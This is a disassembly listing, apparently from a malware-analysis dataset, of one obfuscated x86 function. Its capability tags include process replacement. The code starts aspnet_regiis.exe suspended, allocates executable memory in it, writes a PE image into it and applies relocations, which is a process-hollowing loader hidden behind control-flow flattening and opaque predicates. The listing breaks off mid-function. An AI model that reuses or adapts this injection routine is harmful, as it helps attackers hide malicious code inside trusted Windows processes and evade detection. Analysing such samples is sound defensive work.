Function at 0x10002650
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x10065400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0xccaaacc9
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x81d21646
je 0x10004a67
jmp 0x1000268c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8211ef5c
je 0x10003c1a
jmp 0x100026a2
mov eax, dword [ebp - 0x14c]
sub eax, 0x84a4e3cb
je 0x10004da7
jmp 0x100026b8
mov eax, dword [ebp - 0x14c]
sub eax, 0x852ac767
je 0x10004ab2
jmp 0x100026ce
mov eax, dword [ebp - 0x14c]
sub eax, 0x85de74e4
je 0x10004688
jmp 0x100026e4
mov eax, dword [ebp - 0x14c]
sub eax, 0x865e83b2
je 0x100045ef
jmp 0x100026fa
mov eax, dword [ebp - 0x14c]
sub eax, 0x88ff5169
je 0x10003773
jmp 0x10002710
mov eax, dword [ebp - 0x14c]
sub eax, 0x8980f184
je 0x10004118
jmp 0x10002726
mov eax, dword [ebp - 0x14c]
sub eax, 0x8d26cac7
je 0x10003e41
jmp 0x1000273c
mov eax, dword [ebp - 0x14c]
sub eax, 0x92bbe17e
je 0x10004d42
jmp 0x10002752
mov eax, dword [ebp - 0x14c]
sub eax, 0x9a0eb780
je 0x10003d82
jmp 0x10002768
mov eax, dword [ebp - 0x14c]
sub eax, 0x9c3bbf78
je 0x10004bd0
jmp 0x1000277e
mov eax, dword [ebp - 0x14c]
sub eax, 0xa3c71726
je 0x10003500
jmp 0x10002794
mov eax, dword [ebp - 0x14c]
sub eax, 0xa665fe4e
je 0x10004ac4
jmp 0x100027aa
mov eax, dword [ebp - 0x14c]
sub eax, 0xa70c46c9
je 0x100046a2
jmp 0x100027c0
mov eax, dword [ebp - 0x14c]
sub eax, 0xa7dfcfbe
je 0x10004202
jmp 0x100027d6
mov eax, dword [ebp - 0x14c]
sub eax, 0xa84b622a
je 0x100037ff
jmp 0x100027ec
mov eax, dword [ebp - 0x14c]
sub eax, 0xb02eeb85
je 0x100044b7
jmp 0x10002802
mov eax, dword [ebp - 0x14c]
sub eax, 0xb104226b
je 0x100049dc
jmp 0x10002818
mov eax, dword [ebp - 0x14c]
sub eax, 0xb612b034
je 0x1000341c
jmp 0x1000282e
mov eax, dword [ebp - 0x14c]
sub eax, 0xb693bf81
je 0x10003791
jmp 0x10002844
mov eax, dword [ebp - 0x14c]
sub eax, 0xb69de021
je 0x100048e6
jmp 0x1000285a
mov eax, dword [ebp - 0x14c]
sub eax, 0xb82b48fd
je 0x100039d8
jmp 0x10002870
mov eax, dword [ebp - 0x14c]
sub eax, 0xba68ea3c
je 0x10004d0c
jmp 0x10002886
mov eax, dword [ebp - 0x14c]
sub eax, 0xbdb3b721
je 0x10004178
jmp 0x1000289c
mov eax, dword [ebp - 0x14c]
sub eax, 0xbf2a5ce3
je 0x10004b1b
jmp 0x100028b2
mov eax, dword [ebp - 0x14c]
sub eax, 0xc199f866
je 0x10004bdf
jmp 0x100028c8
mov eax, dword [ebp - 0x14c]
sub eax, 0xc20ad137
je 0x10003c53
jmp 0x100028de
mov eax, dword [ebp - 0x14c]
sub eax, 0xc3550669
je 0x1000498b
jmp 0x100028f4
mov eax, dword [ebp - 0x14c]
sub eax, 0xc3e670e8
je 0x10003235
jmp 0x1000290a
mov eax, dword [ebp - 0x14c]
sub eax, 0xc60f2b4e
je 0x100034a0
jmp 0x10002920
mov eax, dword [ebp - 0x14c]
sub eax, 0xc6339a66
je 0x10003211
jmp 0x10002936
mov eax, dword [ebp - 0x14c]
sub eax, 0xc70c5d19
je 0x100044e1
jmp 0x1000294c
mov eax, dword [ebp - 0x14c]
sub eax, 0xc7af05e9
je 0x10003cc1
jmp 0x10002962
mov eax, dword [ebp - 0x14c]
sub eax, 0xc7d9cc09
je 0x1000465b
jmp 0x10002978
mov eax, dword [ebp - 0x14c]
sub eax, 0xc8f97f57
je 0x10004c88
jmp 0x1000298e
mov eax, dword [ebp - 0x14c]
sub eax, 0xcb490505
je 0x10004223
jmp 0x100029a4
mov eax, dword [ebp - 0x14c]
sub eax, 0xcbe8d2d9
je 0x1000477e
jmp 0x100029ba
mov eax, dword [ebp - 0x14c]
sub eax, 0xccaaacc9
je 0x10002fef
jmp 0x100029d0
mov eax, dword [ebp - 0x14c]
sub eax, 0xcda14f6a
je 0x10003b5b
jmp 0x100029e6
mov eax, dword [ebp - 0x14c]
sub eax, 0xcdf27b0c
je 0x100032db
jmp 0x100029fc
mov eax, dword [ebp - 0x14c]
sub eax, 0xd475551b
je 0x100038c1
jmp 0x10002a12
mov eax, dword [ebp - 0x14c]
sub eax, 0xd57b86d7
je 0x1000392d
jmp 0x10002a28
mov eax, dword [ebp - 0x14c]
sub eax, 0xdb1c71a4
je 0x1000337a
jmp 0x10002a3e
mov eax, dword [ebp - 0x14c]
sub eax, 0xe37ef7e4
je 0x10004c5e
jmp 0x10002a54
mov eax, dword [ebp - 0x14c]
sub eax, 0xe3a519f4
je 0x10003121
jmp 0x10002a6a
mov eax, dword [ebp - 0x14c]
sub eax, 0xe3bf55e5
je 0x10003197
jmp 0x10002a80
mov eax, dword [ebp - 0x14c]
sub eax, 0xe3ea3830
je 0x10004818
jmp 0x10002a96
mov eax, dword [ebp - 0x14c]
sub eax, 0xe737aefa
je 0x100034af
jmp 0x10002aac
mov eax, dword [ebp - 0x14c]
sub eax, 0xe7e691e4
je 0x10003397
jmp 0x10002ac2
mov eax, dword [ebp - 0x14c]
sub eax, 0xeac2c004
je 0x10003eff
jmp 0x10002ad8
mov eax, dword [ebp - 0x14c]
sub eax, 0xeafe1d73
je 0x1000438b
jmp 0x10002aee
mov eax, dword [ebp - 0x14c]
sub eax, 0xed88c1bb
je 0x1000328a
jmp 0x10002b04
mov eax, dword [ebp - 0x14c]
sub eax, 0xf48b968f
je 0x10003d9f
jmp 0x10002b1a
mov eax, dword [ebp - 0x14c]
sub eax, 0xf7ab5186
je 0x10004014
jmp 0x10002b30
mov eax, dword [ebp - 0x14c]
sub eax, 0xf99822e2
je 0x10004407
jmp 0x10002b46
mov eax, dword [ebp - 0x14c]
sub eax, 0xfdcf684a
je 0x100036c9
jmp 0x10002b5c
mov eax, dword [ebp - 0x14c]
sub eax, 0xfe068898
je 0x10003d73
jmp 0x10002b72
mov eax, dword [ebp - 0x14c]
sub eax, 0xff30efc3
je 0x100030d9
jmp 0x10002b88
mov eax, dword [ebp - 0x14c]
sub eax, 0x8b7d71
je 0x1000458d
jmp 0x10002b9e
mov eax, dword [ebp - 0x14c]
sub eax, 0x1b525f9
je 0x100039af
jmp 0x10002bb4
mov eax, dword [ebp - 0x14c]
sub eax, 0x24c4d5c
je 0x10003eb5
jmp 0x10002bca
mov eax, dword [ebp - 0x14c]
sub eax, 0x3631196
je 0x10004262
jmp 0x10002be0
mov eax, dword [ebp - 0x14c]
sub eax, 0x61653bf
je 0x100030fa
jmp 0x10002bf6
mov eax, dword [ebp - 0x14c]
sub eax, 0x77017e0
je 0x10003d64
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c400
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0x148], 0xff30efc3
jmp 0x10004db1
mov dl, byte [ebp - 0xf1]
mov eax, 0x852ac767
mov ecx, 0x61653bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x148], 0xe3a519f4
jmp 0x10004db1
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0x93d0543
sub edx, 1
add edx, 0x93d0543
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa665fe4e
mov ecx, 0xe3bf55e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0xc5ab7efa
sub edx, 1
sub edx, 0xc5ab7efa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa665fe4e
mov ecx, 0x2b7cd2ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov edx, dword [ebp - 0xec]
mov eax, 0x7915b404
mov ecx, 0xc3e670e8
cmp edx, 0x4550
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006070
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006070
add esp, 0xc
mov dword [ebp - 0x148], 0xed88c1bb
jmp 0x10004db1
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0xf9c2812b
sub edx, 1
sub edx, 0xf9c2812b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d186a08
mov ecx, 0xcdf27b0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x140]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x141], al
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d186a08
mov ecx, 0x1aa0e839
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xe7e691e4
jmp 0x10004db1
mov dword [ebp - 0x148], 0xa8c381e
jmp 0x10004db1
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
add edx, 0x13bb4762
sub edx, 1
sub edx, 0x13bb4762
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7987ca02
mov ecx, 0xc60f2b4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dword [ebp - 0x148], 0xe737aefa
jmp 0x10004db1
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0xa1bfdecd
sub edx, 1
sub edx, 0xa1bfdecd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf2a5ce3
mov ecx, 0xa3c71726
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov edx, dword [ebp - 0xe8]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe2], al
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf2a5ce3
mov ecx, 0x7167de05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x12c]
mov eax, 0xd475551b
mov ecx, 0x88ff5169
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x148], 0xb693bf81
jmp 0x10004db1
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e20085f
mov ecx, 0xa84b622a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0xb0677b77
sub edx, 1
add edx, 0xb0677b77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7e20085f
mov ecx, 0x6ce2fa74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x12c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x138]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x148], 0xd57b86d7
jmp 0x10004db1
mov eax, dword [ebp - 0xd4]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xd8]
add ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x140]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x140]
movzx eax, word [eax + 0x14]
sub ecx, 0xf07416df
add ecx, eax
add ecx, 0xf07416df
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x148], 0x1b525f9
jmp 0x10004db1
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x148], 0xb82b48fd
jmp 0x10004db1
mov eax, dword [ebp - 0xcc]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xd0]
mov eax, 0xfc2d423
mov ecx, 0x751f219d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c3bbf78
mov ecx, 0x4d4d892c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dl, byte [ebp - 0xb5]
mov eax, 0xfe068898
mov ecx, 0x2d0385f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc199f866
mov ecx, 0xc7af05e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb4]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0xea5417f5
sub eax, edx
sub eax, 0xea5417f5
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
sub edx, 0x7d1fbc88
sub edx, 1
add edx, 0x7d1fbc88
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc199f866
mov ecx, 0x77017e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dword [ebp - 0x148], 0x9a0eb780
jmp 0x10004db1
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x148], 0xf48b968f
jmp 0x10004db1
mov ecx, dword [ebp - 0xb0]
sub ecx, 0xe85dc9a3
add ecx, 1
add ecx, 0xe85dc9a3
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x1b525f9
jmp 0x10004db1
mov eax, dword [ebp - 0x128]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0x66bc26a
sub edx, 1
sub edx, 0x66bc26a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14e301a9
mov ecx, 0x53c6d0cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dl, byte [ebp - 0xa9]
mov eax, 0x7762bb6
mov ecx, 0x79e05a0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0xa4]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xa8]
mov eax, 0x7762bb6
mov ecx, 0x1dea26b8
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dword [ebp - 0x148], 0x5eaf4b18
jmp 0x10004db1
mov dword [ebp - 0x148], 0x4452d462
jmp 0x10004db1
mov eax, dword [ebp - 0xa0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
add edx, 0xa0a6fcdc
sub edx, 1
sub edx, 0xa0a6fcdc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x37b2d166
mov ecx, 0xa7dfcfbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dl, byte [ebp - 0x99]
mov eax, 0x413d186a
mov ecx, 0xcb490505
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x148], 0x3631196
jmp 0x10004db1
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0xb2471954
sub edx, 1
sub edx, 0xb2471954
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8f97f57
mov ecx, 0x6fe0889c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x148], 0x4d9f21d0
jmp 0x10004db1
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x89], al
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
add edx, 0xbc3e78f5
sub edx, 1
sub edx, 0xbc3e78f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba68ea3c
mov ecx, 0x1842c6e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x148], 0xc70c5d19
jmp 0x10004db1
mov eax, dword [ebp - 0x88]
movzx edx, word [eax]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xd2bfd570
or edx, ecx
or eax, 0xd2bfd570
xor edx, 0xffffffff
and edx, eax
mov eax, 0xf804285
mov ecx, 0x1cc07c25
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x628127e1
mov ecx, 0x865e83b2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x148], 0xc7d9cc09
jmp 0x10004db1
mov dword [ebp - 0x148], 0x628127e1
jmp 0x10004db1
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x148], 0xa70c46c9
jmp 0x10004db1
mov ecx, dword [ebp - 0x80]
add ecx, 0xe3869027
add ecx, 1
sub ecx, 0xe3869027
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xeafe1d73
jmp 0x10004db1
mov dword [ebp - 0x148], 0x6a9efd66
jmp 0x10004db1
mov eax, dword [ebp - 0x140]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x13c]
